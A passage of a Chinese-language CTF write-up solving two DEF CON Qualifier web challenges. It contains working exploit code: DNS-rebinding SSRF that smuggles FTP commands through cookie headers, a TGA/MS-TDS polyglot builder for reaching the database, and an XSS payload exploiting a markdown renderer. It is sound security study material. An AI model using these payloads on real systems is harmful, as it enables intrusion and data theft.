DEF CON CTF Qualifier Write-up

DEF CON CTF Qualifier Write-up

Ching367436 竹狐隊長

今年的 DEF CON CTF Qualifier 很難得出現「真正的白箱 Web 題」,而且白箱 web 題品質蠻不錯的。這次把兩題白箱 Web 題解完。

[Web/Network] Waybird Machine

這個題目的 docker-compose.yml 有三個服務,flag 環境變數被放在 web 裡面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
services:
nginx:
build: ./nginx
network_mode: "service:web"
depends_on:
- web
restart: unless-stopped

web:
build: ./web
ports:
- "80:80"
environment:
- FLAG=${FLAG}
- BASIC_AUTH_USERNAME=${BASIC_AUTH_USERNAME}
- BASIC_AUTH_PASSWORD=${BASIC_AUTH_PASSWORD}
- SECRET_KEY=${SECRET_KEY}
restart: unless-stopped

babelfish:
build: ./babelfish
command: -p 12345678
cap_add:
- NET_ADMIN
restart: unless-stopped
network_mode: "service:web"
depends_on:
- web

web 會在初始化的時候把 flag 放進資料庫裡面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# waybird-machine/web/bbbird_archive/app/db.py:61
def insert_flag():
sql_cmd = """
INSERT INTO flags
(flag, is_hidden)
VALUES
(%s, %s);
SELECT SCOPE_IDENTITY() AS id;
"""

with _conn() as conn:
with conn.cursor() as cursor:
cursor.execute(
sql_cmd, (
app.config["FLAG"],
1
))
row = cursor.fetchone()
conn.commit()
return row

# [...]:117
def get_flags():
sql_cmd = """
SELECT flag from flags WHERE is_hidden = 0;
"""
with _conn() as conn:
with conn.cursor() as cursor:
cursor.execute(sql_cmd)
return cursor.fetchall()

只要把資料庫 flags 中的 is_hidden 設成 0 就能在 / 拿到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
# waybird-machine/web/bbbird_archive/app/routes.py:19
@app.route("/")
def index():
try:
images = db.get_images()
except Exception:
images = []
try:
flags = db.get_flags()
except Exception as e:
flags = []
return render_template("index.html", images=images, flags=flags)

翻了一圈沒有直接的 SQL Injection,需要其他手段摸到資料庫。

資料庫用了 babelfishbabelfish 會收 MSSQL 的 TSQL,轉換成 PostgresSQL 後,拿來操作 container 中開的 PostgresSQL。babelfish 這個 container 有用 iptables 限制不能從外部摸到 PostgresSQL。

1
2
iptables -A INPUT -p tcp --dport 5432 -j REJECT
ip6tables -A INPUT -p tcp --dport 5432 -j REJECT

web 有功能能讓網站去抓圖片,存下來,等於送了寫檔 + SSRF;追進 scraper.scrape 會發現只能是 HTTP / HTTPS,禁止 local addresses;但 DNS rebinding 可以直接繞過。如果直接用 HTTP 去 SSRF babelfish(用的是 MS-TDS protocol),會遇到一些問題。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# waybird-machine/web/bbbird_archive/app/routes.py:31
@app.route("/scrape", methods=["POST"])
def scrape():
url = request.form.get("url", "").strip()
if not url:
flash("Please enter a URL.", "error")
return redirect(url_for("index"))

auth_user = request.form.get("username", "").strip()
auth_pass = request.form.get("password", "").strip()

if not url.startswith(("http://", "https://")):
flash("URL must start with http:// or https://.", "error")
return redirect(url_for("index"))

try:
(safe_name, meta) = scraper.scrape(url, auth_user, auth_pass)
except scraper.ScrapeError as e:
flash(f"Failed to scrape image: {e}", "error")
return redirect(url_for("index"))

try:
db.insert_image(url, safe_name, meta)
except Exception as e:
flash(f"Image scraped but failed to save: {e}", "error")
print(f"DB insert failed: {e}")

return redirect(url_for("index"))

但很巧的是,web 裡面剛好跑了一個 app 完全沒用到的 FTP server:pyftpdlib

1
python -m pyftpdlib -D --port 21 -w -d /app/app/static/scraped &

FTP 主要使用 printable 的 chars,跟 http 類似。FTP client 送給 server 的內容大概像這樣。底下的範例是把 /app/app/static/scraped/test.png 的內容傳送到 127.0.0.1:1433 的 FTP 指令。所以只要把要傳送的檔案內容設成「把資料庫中 flag 的 is_hidden 改成 false」的 MS-TDS 內容,flag 就會在首頁被顯示出來。

1
2
3
4
5
USER anonymous
PASS x
TYPE I
PORT 127,0,0,1,5,153
RETR /app/app/static/scraped/test.png

所以現在只要做到 1. 控制 web 上的檔案成改資料庫的 MS-TDS。 2. 能控制 FTP。

寫檔

web/scrap 只能寫圖片進去,會呼叫 verify 驗證寫的檔案是不是圖片。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# waybird-machine/web/bbbird_archive/app/scraper.py:92
def scrape(url, auth_user, auth_pass):
_validate_url(url)

r = _fetch(url, auth_user, auth_pass)

content_type = r.headers.get("Content-Type", "")
ext = MIMETYPE_TO_EXT.get(content_type)
if not ext:
parsed = urlparse(url)
ext = Path(parsed.path).suffix

tmp = tempfile.NamedTemporaryFile(delete=False, dir=app.config["UPLOAD_FOLDER"], suffix=ext)

# [...]

try:
# [... download file to tmp]

meta = verify(tmp.name)
if meta is None:
raise ScrapeError("Image verification failed")

ext = IMAGEMAGICK_FORMAT_TO_EXT.get(meta["format"].upper(), ext)
safe_name = f"{uuid.uuid4().hex}{ext}"
dest = os.path.join(app.config["UPLOAD_FOLDER"], safe_name)
shutil.move(tmp.name, dest)

meta["file_size"] = os.path.getsize(dest)
return safe_name, meta

verify 會用 imagemagick 去取得檔案類型後回傳。如果檔案不是圖片,imagemagick 就會噴錯,就會無法上傳圖片。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# waybird-machine/web/bbbird_archive/app/scraper.py:141
def verify(filepath):
try:
result = subprocess.run(["identify", "-format", "%w %h %m", "--", filepath], capture_output=True)
except subprocess.TimeoutExpired:
raise ScrapeError("Image verification timed out")

if result.returncode != 0:
raise ScrapeError("Image verification failed")

try:
raw = result.stdout.strip()
(width, height, fmt) = raw.split(b" ")
except ValueError:
raise ScrapeError(f"Could not parse ImageMagick output: {raw.decode('utf-8', errors='replace')}")

return {
"width": int(width.decode('utf-8')),
"height": int(height.decode('utf-8')),
"format": fmt.decode('utf-8'),
}

所以我們需要造出同時是圖片(過 imagemagick 檢查),且是 MS-TDS 的檔案。有種圖片格式叫做 Truevision TGA,剛好符合這個需求。所以這部分的問題解決。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
```python
def build_tga_prelogin(pkt_len=512):
pkt = bytearray(pkt_len)
pkt[0] = 0x12 # TDS PRELOGIN type / TGA id_length=18
pkt[1] = 0x01 # TDS EOM / TGA colormap_type=1
pkt[2] = 0x02 # TDS length hi / TGA image_type=2 (RGB)
pkt[3] = 0x00 # length lo, total length = 0x0200 = 512
pkt[7] = 0x08 # TGA colormap_size = 8 (valid)
pkt[8] = 0x01 # PRELOGIN ENCRYPTION option
pkt[10] = 0x13 # offset = 19
pkt[12] = 0x01 # length = 1 byte
pkt[13] = 0x00 # PRELOGIN VERSION option (also TGA width_hi)
pkt[14] = 0x01 # VERSION offset hi (also TGA height_lo)
pkt[16] = 0x01 # VERSION length hi (also TGA bits_per_pixel=1, valid)
pkt[17] = 0xEC # VERSION length lo => length=0x01EC=492
pkt[18] = 0xFF # TERMINATOR
pkt[19] = 0x00 # ENCRYPTION data = OFF
pkt[20] = 0x09 # VERSION major
return bytes(pkt)
```

SSRF FTP to SSRF Babelfish

目前我們有 HTTP 的 SSRF;兩種都是用 printable 傳輸。但格式不一樣。不過還好 FTP 可以吃垃圾也不會壞掉,錯誤指令的行會被 FTP 無視;只會執行合法的行,比如:

1
2
3
4
# printf 'GET / HTTP/1.1\r\nUSER anonymous\r\n' | nc 0.0.0.0 21
220 pyftpdlib 2.2.0 ready.
500 Command "GET" not understood.
331 Username ok, send password.

所以現在的目標,是在 HTTP SSRF 中,造出這些 FTP 指令:

1
2
3
4
5
USER anonymous
PASS x
TYPE I
PORT 127,0,0,1,5,153
RETR /app/app/static/scraped/test.png

我們能用的 SSRF 如下,url, auth_user, auth_pass 都可控。比較特別的是 r.status_code == 401 的時候可以再次送出請求。由於 url 是可控的,我們可以造出 401 的回應進入那個 branch,讓送出 HTTPBasicAuth / HTTPDigestAuthrequests.get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# waybird-machine/web/bbbird_archive/app/scraper.py:61
def _fetch(url, auth_user, auth_pass):
try:
r = requests.get(url, allow_redirects=False)
if r.status_code == 401:
r.close()
auth_header = r.headers.get("WWW-Authenticate", "").lower()
if "basic" in auth_header:
r = requests.get(url, auth=HTTPBasicAuth(auth_user, auth_pass), allow_redirects=False)
elif "digest" in auth_header:
r = requests.get(url, auth=HTTPDigestAuth(auth_user, auth_pass), allow_redirects=False)
else:
raise ScrapeError(f"Unsupported auth method {auth_header}")
r.raise_for_status()
return r
except requests.ConnectionError:
raise ScrapeError("Could not connect to the server. Check the URL and try again.")
except requests.Timeout:
raise ScrapeError("The request timed out. The server took too long to respond.")
except requests.HTTPError as e:
code = e.response.status_code if e.response is not None else None
friendly = {
403: "Access denied - the server refused the request.",
404: "Image not found - the URL may be wrong or the image was removed.",
500: "The remote server encountered an error.",
502: "The remote server returned a bad gateway error.",
503: "The remote server is temporarily unavailable.",
}
raise ScrapeError(friendly.get(code, f"The server returned an error (HTTP {code})."))
except requests.RequestException:
raise ScrapeError("Something went wrong while fetching the image. Check the URL and try again.")

requests.get(url, auth=HTTPDigestAuth) 的流程會送出總共兩次 http request,第一次會跟 server 要 challenge,第二次會回傳利用 credential 算出 challenge 的解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
Python / requests                                  Server
| |
| GET /private HTTP/1.1 |
|--------------------------------------------->|
| |
| 401 Unauthorized |
| WWW-Authenticate: |
| Digest |
| realm="example", |
| nonce="abc123", |
| qop="auth", |
| algorithm=MD5 |
|<---------------------------------------------|
| |
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |
| DIGEST CHALLENGE |
| |
| Client calculates: |
| |
| HA1 = MD5("alice:example:secret") |
| HA2 = MD5("GET:/private") |
| |
| response = MD5( |
| HA1 : |
| nonce : |
| nc : |
| cnonce : |
| qop : |
| HA2 |
| ) |
| |
| GET /private HTTP/1.1 |
| Authorization: Digest |
| username="alice", |
| realm="example", |
| nonce="abc123", |
| uri="/private", |
| qop=auth, |
| nc=00000001, |
| cnonce="xyz789", |
| response="e45d8d..." |
|--------------------------------------------->|
| |
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |
| DIGEST RESPONSE |
| |
| Server computes |
| expected response |
| using Alice's |
| password. |
| |
| If they match: |
| |
| 200 OK |
|<---------------------------------------------|
| |

可以在 requests.get(url, auth=HTTPDigestAuth) 中的第一次 request 的 response Set-Cookie,這樣在第二次 request 時,就會帶上 Cookie header。
可以把這個現象配上 DNS rebinding:在 requests.get(url, auth=HTTPDigestAuth) 送請求時,URL 設成攻擊者 http://attacker.com:21。一開始 attacker.com 指向攻擊者 IP,攻擊者 server 回覆 Set-Cookie: <cookie-payload>,並拖一些時間做 DNS rebinding。此時再把 attacker.com 指向 127.0.0.1;這樣第二個 request 就會帶著 <cookie-payload> 送到 web 的 FTP server。

所以現在有送含任意 Cookie header 的 http request 到 FTP server 的 primitive 了。我們需要送很多行 FTP 指令,但我們沒辦法在 cookie 裡面換行(嗎?)

1
2
3
4
5
USER anonymous
PASS x
TYPE I
PORT 127,0,0,1,5,153
RETR /app/app/static/scraped/test.png

如果直接 Set-Cookie: a="test\r\n123",是不會把 \r\n 設進 cookie 的,因為會被認定為另一個 header。
Set-Cookie: a="test\r\n 123" 就可以;因為以空白開始的新的一行,會被認定為前一行 header 的值的一部分(obs-fold)。
可以換行了,但是得要是 空白 / tab 開頭。但 FTP 指令不能用 空白 / tab 開頭。

pyftpdlib 在處理指令的時候,如果太長會把 buffer 清空,開啟新的一個 FTP 指令,解決開頭空白的問題。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# https://github.com/giampaolo/pyftpdlib/blob/release-2.0.1/pyftpdlib/handlers.py#L1535-L1546
def collect_incoming_data(self, data):
"""Read incoming data and append to the input buffer."""
self._in_buffer.append(data)
self._in_buffer_len += len(data)
# Flush buffer if it gets too long (possible DoS attacks).
# RFC-959 specifies that a 500 response could be given in
# such cases
buflimit = 2048
if self._in_buffer_len > buflimit:
self.respond_w_warning('500 Command too long.')
self._in_buffer = []
self._in_buffer_len = 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
USER_CMD = b'USER anonymous\r\n '
PASS_CMD = b'PASS x\r\n '
TYPE_CMD = b'TYPE I\r\n '
PORT_CMD = b'PORT 127,0,0,1,5,153\r\n '

def build_cookie_smuggle(url_host, filename):
prefix_size = 16 + len(f'Host: {url_host}\r\n') + 36 + 32 + 13 + 24 + 10 # "Cookie: x="
USER_off = 65536 - prefix_size
PASS_off = 131072 - prefix_size
TYPE_off = 196608 - prefix_size
PORT_off = 262144 - prefix_size
RETR_off = 327680 - prefix_size
retr = f'RETR {filename}\r\n '.encode()
parts = []
cur = 0
for off, cmd in [(USER_off, USER_CMD), (PASS_off, PASS_CMD), (TYPE_off, TYPE_CMD), (PORT_off, PORT_CMD), (RETR_off, retr)]:
parts.append(b'A' * (off - cur)); cur = off
parts.append(cmd); cur += len(cmd)
parts.append(b'A' * 200)
return b''.join(parts)

但這會遇到另個問題:FTP 遇到太長的指令會回傳 500 Command too long.。這不是合理 http response,所以 python requests 碰到會直接 close connection(https://github.com/python/cpython/blob/v3.12.14/Lib/http/client.py#L323-L325 https://github.com/urllib3/urllib3/blob/2.7.0/src/urllib3/connectionpool.py#L839-L840 https://github.com/urllib3/urllib3/blob/2.7.0/src/urllib3/connectionpool.py#L850-L858 https://github.com/psf/requests/blob/v2.34.2/src/requests/adapters.py#L710-L711),這會讓 pyftpdlib 的 RETR 還沒跑完就被中斷,造成對 Babblefish 的 SSRF 中斷。

這時候可以用 QUIT;在 RETR 傳檔案時,如果收到 QUIT,會讓檔案傳完。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# https://github.com/giampaolo/pyftpdlib/blob/release-2.2.0/pyftpdlib/handlers/ftp/control.py#L1394-L1400
def ftp_QUIT(self, line):
# [...]
# From RFC-959:
# If file transfer is in progress, the connection must remain
# open for result response and the server will then close it.
# We also stop responding to any further command.
if self.data_channel:
self._quit_pending = True
self.del_channel()
else:
self._shutdown_connecting_dtp()
self.close_when_done()
if self.authenticated and self.username:
self.on_logout(self.username)

把上面這些合在一起就會拿到 flag 了。

1
bbb{w1ngsp4n_is_ab0ut_c0ll3ct1ng_b1rd_sh4ped_fri3nds:…}

[Web] Bird Blog

題目的 flag 放在 flag container 裡面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
name: bird_blog

services:
blog_app:
build:
context: ./app
environment:
POSTGRES_URL: postgres://${APP_USER:-appuser}:${APP_PASSWORD:-apppass}@127.0.0.1:5432/bird_blog
CONFIG_BIND_ADDRESS: 0.0.0.0
CONFIG_ALLOW_PRIVATE_IPS: "false"
BLOG_HOST: http://host.docker.internal:8080 # See NOTES.md!!
extra_hosts:
- "host.docker.internal:host-gateway"
ports:
- 8080:8080
- 1337:1337
volumes:
- templates:/app/template
bot:
build:
context: ./bot
network_mode: "service:blog_app"
environment:
BOT_POSTGRES_URL: postgres://${BOT_USER:-botuser}:${BOT_PASSWORD:-botpass}@127.0.0.1:5432/bird_blog
CONFIG_HOST: http://localhost:8081
BLOG_HOST: http://host.docker.internal:8080 # See NOTES.md!!
depends_on:
- blog_app
postgres:
build:
context: ./db
network_mode: "service:blog_app"
environment:
POSTGRES_USER: ${POSTGRES_USER:-postgres}
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-postgres_password}
POSTGRES_DB: bird_blog
APP_USER: ${APP_USER:-appuser}
APP_PASSWORD: ${APP_PASSWORD:-apppass}
BOT_USER: ${BOT_USER:-botuser}
BOT_PASSWORD: ${BOT_PASSWORD:-botpass}
SECRET_KEY: ${SECRET_KEY:-ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_} # See NOTES.md!!
volumes:
- pgdata:/var/lib/postgresql/18/docker
flag:
build:
context: ./flag
network_mode: "service:blog_app"
environment:
SECRET_KEY: ${SECRET_KEY:-ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_} # See NOTES.md!!
FLAG: ${FLAG:-bbb{you_forgot_to_set_the_flag_env_var}}
volumes:
templates: {}
pgdata: {}

flag

提交 SECRET_KEY_HASHflag 就能拿到 flag。而 SECRET_KEY 也會被放到 postgres 裡面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
app.post("/submit", async (request, reply) => {
const { secretKey } = request.body;

if (typeof secretKey !== "string") {
return reply.status(400).send("Invalid request");
}

if (remainingAttempts <= 0) {
return reply.status(403).send("No remaining attempts");
}

const providedKeyHash = createHash("sha256").update(secretKey).digest();

if (timingSafeEqual(providedKeyHash, SECRET_KEY_HASH)) {
return reply.view("flag.hbs", { flag: FLAG });
} else {
remainingAttempts--;
return reply.view("index.hbs", { error: `Incorrect secret key. Remaining attempts: ${remainingAttempts}` });
}
});

postgres

SECRET_KEY 會被放進資料庫的 secret_key table 裡面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash
set -e

psql -v ON_ERROR_STOP=1 --username "$POSTGRES_USER" --dbname "$POSTGRES_DB" <<-EOSQL
CREATE USER $APP_USER WITH PASSWORD '$APP_PASSWORD';
GRANT ALL PRIVILEGES ON DATABASE $POSTGRES_DB TO $APP_USER;
GRANT ALL PRIVILEGES ON SCHEMA public TO $APP_USER;

CREATE TABLE secret_key (secret_key text);
INSERT INTO secret_key VALUES ('$SECRET_KEY');

GRANT SELECT ON secret_key TO $APP_USER;

CREATE USER $BOT_USER WITH PASSWORD '$BOT_PASSWORD';
GRANT CONNECT ON DATABASE $POSTGRES_DB TO $BOT_USER;

CREATE SCHEMA bot AUTHORIZATION $BOT_USER;

CREATE TABLE bot.state (
key text PRIMARY KEY,
value text NOT NULL
);
ALTER TABLE bot.state OWNER TO $BOT_USER;

REVOKE ALL ON SCHEMA bot FROM PUBLIC;
REVOKE ALL ON SCHEMA bot FROM $APP_USER;
EOSQL

bot

Bot 每隔一段時間會去看一次 comments。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// bird-blog/bot/src/bot.mjs:225
while (true) {
console.log("Checking for unmoderated comments");
try {
const shouldCheckAgain = await checkComments();
if (!shouldCheckAgain) {
console.log("No unmoderated comments, waiting 5 seconds before checking again");
await new Promise((resolve) => setTimeout(resolve, 5000));
} else {
console.log("Checking for more unmoderated comments immediately");
}
} catch (err) {
console.error("Error while checking comments, waiting 5 seconds before trying again", err);
await new Promise((resolve) => setTimeout(resolve, 5000));
}
}

看 comments 的時候會去審核;如果留言裡面有 cat 就會按 form.approve 按鈕,反之則是 form.rejectCONFIG_HOST 是 admin 用的網頁 :8081

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// bird-blog/bot/src/bot.mjs:152
async function checkComments() { // returns whether or not to immediately check again
return await withBrowser(async (browser) => {
const moderationPage = await browser.newPage();
await moderationPage.goto(`${CONFIG_HOST}/comments`, { waitUntil: "networkidle0" });

const currentLastUpdated = await evaluateWithTimeout(moderationPage, () => document.querySelector("footer")?.textContent?.trim() ?? "");
await setStateIfAbsent("last_updated_baseline", currentLastUpdated);
const baseline = await getState("last_updated_baseline");
if (baseline !== currentLastUpdated) {
console.log("I don't remember reconfiguring the blog, what happened here?? Moderating comments can wait until I get to the bottom of this existential crisis");
return false;
}

const firstUnmoderatedComment = await evaluateWithTimeout(moderationPage, () => {
return document.querySelector("tr:has(form.approve)")?.id;
});

if (firstUnmoderatedComment === undefined) {
return false;
}

const approve = async () => {
await moderationPage.bringToFront();
console.log("Approving comment");
await moderationPage.click(`#${firstUnmoderatedComment} form.approve button`);
await moderationPage.waitForNavigation({ waitUntil: "networkidle0" });
};

const reject = async () => {
await moderationPage.bringToFront();
console.log("Rejecting comment");
await moderationPage.click(`#${firstUnmoderatedComment} form.reject button`);
await moderationPage.waitForNavigation({ waitUntil: "networkidle0" });
};

console.log(`Found unmoderated comment with id ${firstUnmoderatedComment}`);
try {
const [commentPageTarget] = await Promise.all([
browser.waitForTarget((target) => target.url().startsWith(`${BLOG_HOST}/comments/`), { timeout: 10000 }),
moderationPage.click(`#${firstUnmoderatedComment} form.view button`)
]);

const commentPage = await commentPageTarget.page();

if (commentPage === undefined) {
console.error("Failed to find comment page");
return true;
}

// Take a moment to read the comment...
await new Promise((resolve) => setTimeout(resolve, 30000));
const commentHTML = await evaluateWithTimeout(commentPage, () => document.querySelector(".comment")?.innerHTML ?? "");

if (commentHTML.includes("cat")) {
console.log("All of this talk of cats will scare my readers, rejecting comment");
await reject();
return true;
} else {
console.log("Thanks for not talking about cats, approving comment");
await approve();
return true;
}
} catch (error) {
console.error(error);
console.log("Something went wrong and that makes me suspicious, rejecting comment just to be safe");
await reject();
return true;
}
});
}

blog_app

這個 container 會開兩個服務,一個開在 :8081,給 admin 用;另一個開在 :8080

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// bird-blog/app/src/index.mjs
import { startAdminService } from "./admin.mjs";
import { startBlogService } from "./blog.mjs";

process.on("SIGINT", () => {
console.log("Received SIGINT. Shutting down...");
process.exit(0);
});

try {
await startAdminService();
} catch (err) {
console.error("Failed to start admin service:", err);
process.exit(1);
}

try {
await startBlogService();
} catch (err) {
console.error("Failed to start blog service:", err);
process.exit(1);
}

bot 會去看的 admin 頁面在這:

1
2
3
4
5
// bird-blog/app/src/admin.mjs:145
app.get("/comments", async (request, reply) => {
const comments = await executeQuery("admin/getAllComments");
return reply.view("comments.hbs", { comments, blogHost: BLOG_HOST, csrfToken: request.csrfToken });
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!-- bird-blog/app/config-template/hbs/admin/comments.hbs -->
<h2>Comments</h2>

<table>
<tr>
<th>Post</th>
<th>Author</th>
<th>Created At</th>
<th>Status</th>
<th>Actions</th>
</tr>
{{#each comments}}
<tr id="comment-{{this.id}}">
<td><a href="{{@root.blogHost}}/post/{{this.post.id}}" target="_blank">{{this.post.title}}</a></td>
<td>{{this.author}}</td>
<td><time datetime="{{this.created_at}}">{{relativeTime this.created_at}}</time></td>
<td>{{#if (isNullish this.approved)}}Pending{{else}}{{#if
this.approved}}Approved{{else}}Rejected{{/if}}{{/if}}</td>
<td>
<form class="view" action="{{@root.blogHost}}/comments/{{this.id}}/view" method="get" target="_blank"
style="display:inline;">
<button type="submit">View</button>
</form>
{{#if (isNullish this.approved)}}
<form class="approve" action="/comments/{{this.id}}/approve" method="post" style="display:inline;">
<input type="hidden" name="csrfToken" value="{{../csrfToken}}" />
<button type="submit">Approve</button>
</form>
<form class="reject" action="/comments/{{this.id}}/reject" method="post" style="display:inline;">
<input type="hidden" name="csrfToken" value="{{../csrfToken}}" />
<button type="submit">Reject</button>
</form>
{{/if}}
</td>
</tr>
{{/each}}
</table>

admin bot 接著會點進還沒被 approved 的留言裡(<form class="view" action="{{@root.blogHost}}/comments/{{this.id}}/view" method="get" target="_blank">)。

1
2
3
4
5
6
7
8
9
10
// bird-blog/app/src/blog.mjs:148
app.get("/comments/:id/view", async (request, reply) => {
try {
const [comment] = await executeQuery("blog/getComment", [request.params.id]);
return reply.view("comment.hbs", { pageTitle: `Comment by ${comment.author}`, comment });
} catch (err) {
console.error(err);
return reply.status(500).send("Internal Server Error");
}
});
1
2
3
4
<!-- bird-blog/app/config-template/hbs/blog/comment.hbs -->
<main>
{{> comment comment }}
</main>
1
2
3
4
5
6
7
8
<!-- bird-blog/app/config-template/hbs/partials/comment.hbs -->
<div class="comment" id="comment-{{this.id}}">
<div class="meta">
Posted <time datetime="{{this.created_at}}">{{relativeTime this.created_at}}</time>
by {{this.author}}
</div>
<div class="content">{{markdown this.content}}</div>
</div>

看到上面使用了 markdown 這個自定義的 handlebars helper({{markdown this.content}})。

1
2
3
4
5
6
7
8
9
10
11
12
// bird-blog/app/src/helpers/hbs.mjs:73
handlebars.registerHelper("markdownPreview", function (content) {
const parts = content.replace(/\r/g, "").split("\n\n");

if (parts[0].startsWith("#")) {
content = parts.slice(0, 2).join("\n\n");
} else {
content = parts[0];
}

return new handlebars.SafeString(markdown(content));
});

markdown 這個 function 長這樣,用了一堆 replace

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// bird-blog/app/src/helpers/markdown.mjs
export function markdown(content) {
const paragraphs = content.replace(/\r/g, "").split("\n\n");
return paragraphs.map((paragraph) => `<p>${markdownInline(paragraph)}</p>`).join("");
}

function markdownInline(content) {
content = content.replace(/\n/g, "");

content = content.replace(/[<>&]/g, (char) => `&#${char.charCodeAt(0)};`);
content = content.replace(/[^\x00-\x7F]/ug, (char) => `&#${char.codePointAt(0)};`);
content = content.replace(/(?<!\w)"(?=\w)/g, "&ldquo;");
content = content.replace(/"/g, "&rdquo;");
content = content.replace(/(?<!\w)'(?=\w)/g, "&lsquo;");
content = content.replace(/'/g, "&rsquo;");

content = content.replace(/(__|\*\*)((?:(?!\1).)+?)\1/g, (match, p1, p2) => {
return `<strong>${p2}</strong>`;
});
content = content.replace(/(_|\*)((?:(?!\1).)+?)\1/g, (match, p1, p2) => {
return `<em>${p2}</em>`;
});
content = content.replace(/`([^`]+?)`/g, (match, p1) => {
return `<code>${p1}</code>`;
});
content = content.replace(/~~((?:(?!~~).)+?)~~/g, (match, p1) => {
return `<del>${p1}</del>`;
});
content = content.replace(/!\[([^\]]*)\]\((https?:\/\/[a-zA-Z0-9.-]+(?::\d+)?\/[^)]+)\)/g, (match, alt, url) => {
try {
const parsedUrl = new URL(url);
return `<img src="${parsedUrl.href}" alt="${alt}">`;
} catch {
return match;
}
});
content = content.replace(/\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9.-]+(?::\d+)?\/[^)]+)\)/g, (match, text, url) => {
try {
const parsedUrl = new URL(url);
return `<a href="${parsedUrl.href}">${text}</a>`;
} catch {
return match;
}
});

if (content.startsWith("#")) {
content = content.replace(/^(#+)\s*(.*)$/, (match, hashes, text) => {
const level = 2 + Math.min(hashes.length, 3);
return `<h${level}>${text}</h${level}>`;
});
}

return content;
}

如果我們輸入

1
=alert(1)// ![[x](http://127.0.0.1:9/e?d=)](http://127.0.0.1:9/o/onerror=top.onerror=setTimeout;throw/**/this.parentElement.textContent//)

經過 markdownInline 後會變這樣:

1
=alert(1)// <img src="http://127.0.0.1:9/e?d=" alt="<a href="http://127.0.0.1:9/o/onerror=top.onerror=setTimeout;throw/**/this.parentElement.textContent//">x"></a>

而因為上面的 html 是不合理的,Chrome 會嘗試修復,變成下面這樣:

1
2
<html><head></head><body style="overscroll-behavior-x: auto;">=alert(1)// <img src="http://127.0.0.1:9/e?d=" alt="&lt;a href=" http:="" 127.0.0.1:9="" o="" onerror="top.onerror=setTimeout;throw/**/this.parentElement.textContent//&quot;">x"&gt;
</body></html>

img onerror 的內容整理後如下,首先把 top.onerror 覆蓋成 setTimeout。接著直接觸發那個 error,this.parentElement.textContent 在這裡會是 =alert(1)//,他會在前面被加上 Uncaught 之後放到 top.onerror 的第一個參數,第二個參數則是空字串;top.onerror 已經被覆寫成 setTimeout 了,所以相當於 setTimeout("Uncaught =alert(1)", ''),就會執行 alert(1)

1
2
top.onerror=setTimeout;
throw this.parentElement.textContent

如果還是看不太清楚的話,我寫了一個把參數印出來的 function,把 top.onerror 覆寫成他來看看參數:

bird-blog-overwrite-onerror

所以我們現在能 XSS admin bot 了。

Admin Service

XSS admin bot 後,我們就可以用有限制 IP 的 :8081 admin 服務了。
:8081 的服務有 CSRF 保護,而我們能 XSS 的地方是 :8080,所以不是 same origin 的,沒辦法直接讀 CSRF token。但因為是同個 domain,所以可以把 :8081 的 CSRF cookie 設成我們已知的來通過 CSRF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// bird-blog/app/src/admin.mjs:45
app.addHook("preHandler", async (request, reply) => {
if (!IP_REGEX.test(request.ip)) {
console.log(`Blocked request from disallowed IP: ${request.ip}`);
reply.status(403).send({ error: `Forbidden; you must access this page from ${ALLOW_PRIVATE_IPS ? "a private IP" : "localhost"}` });
return;
}

if (request.method === "POST") {
const csrfSecret = request.cookies._csrf;
const bodyCsrfToken = request.body?.csrfToken;

if (csrfSecret === undefined || csrfSecret === "") {
reply.status(400).send({ error: "CSRF secret cookie missing" });
return;
}

if (bodyCsrfToken === undefined) {
reply.status(400).send({ error: "CSRF token missing in request body" });
return;
}

const [csrfSalt, csrfHash] = bodyCsrfToken.split(";");
if (!csrfSalt || !csrfHash) {
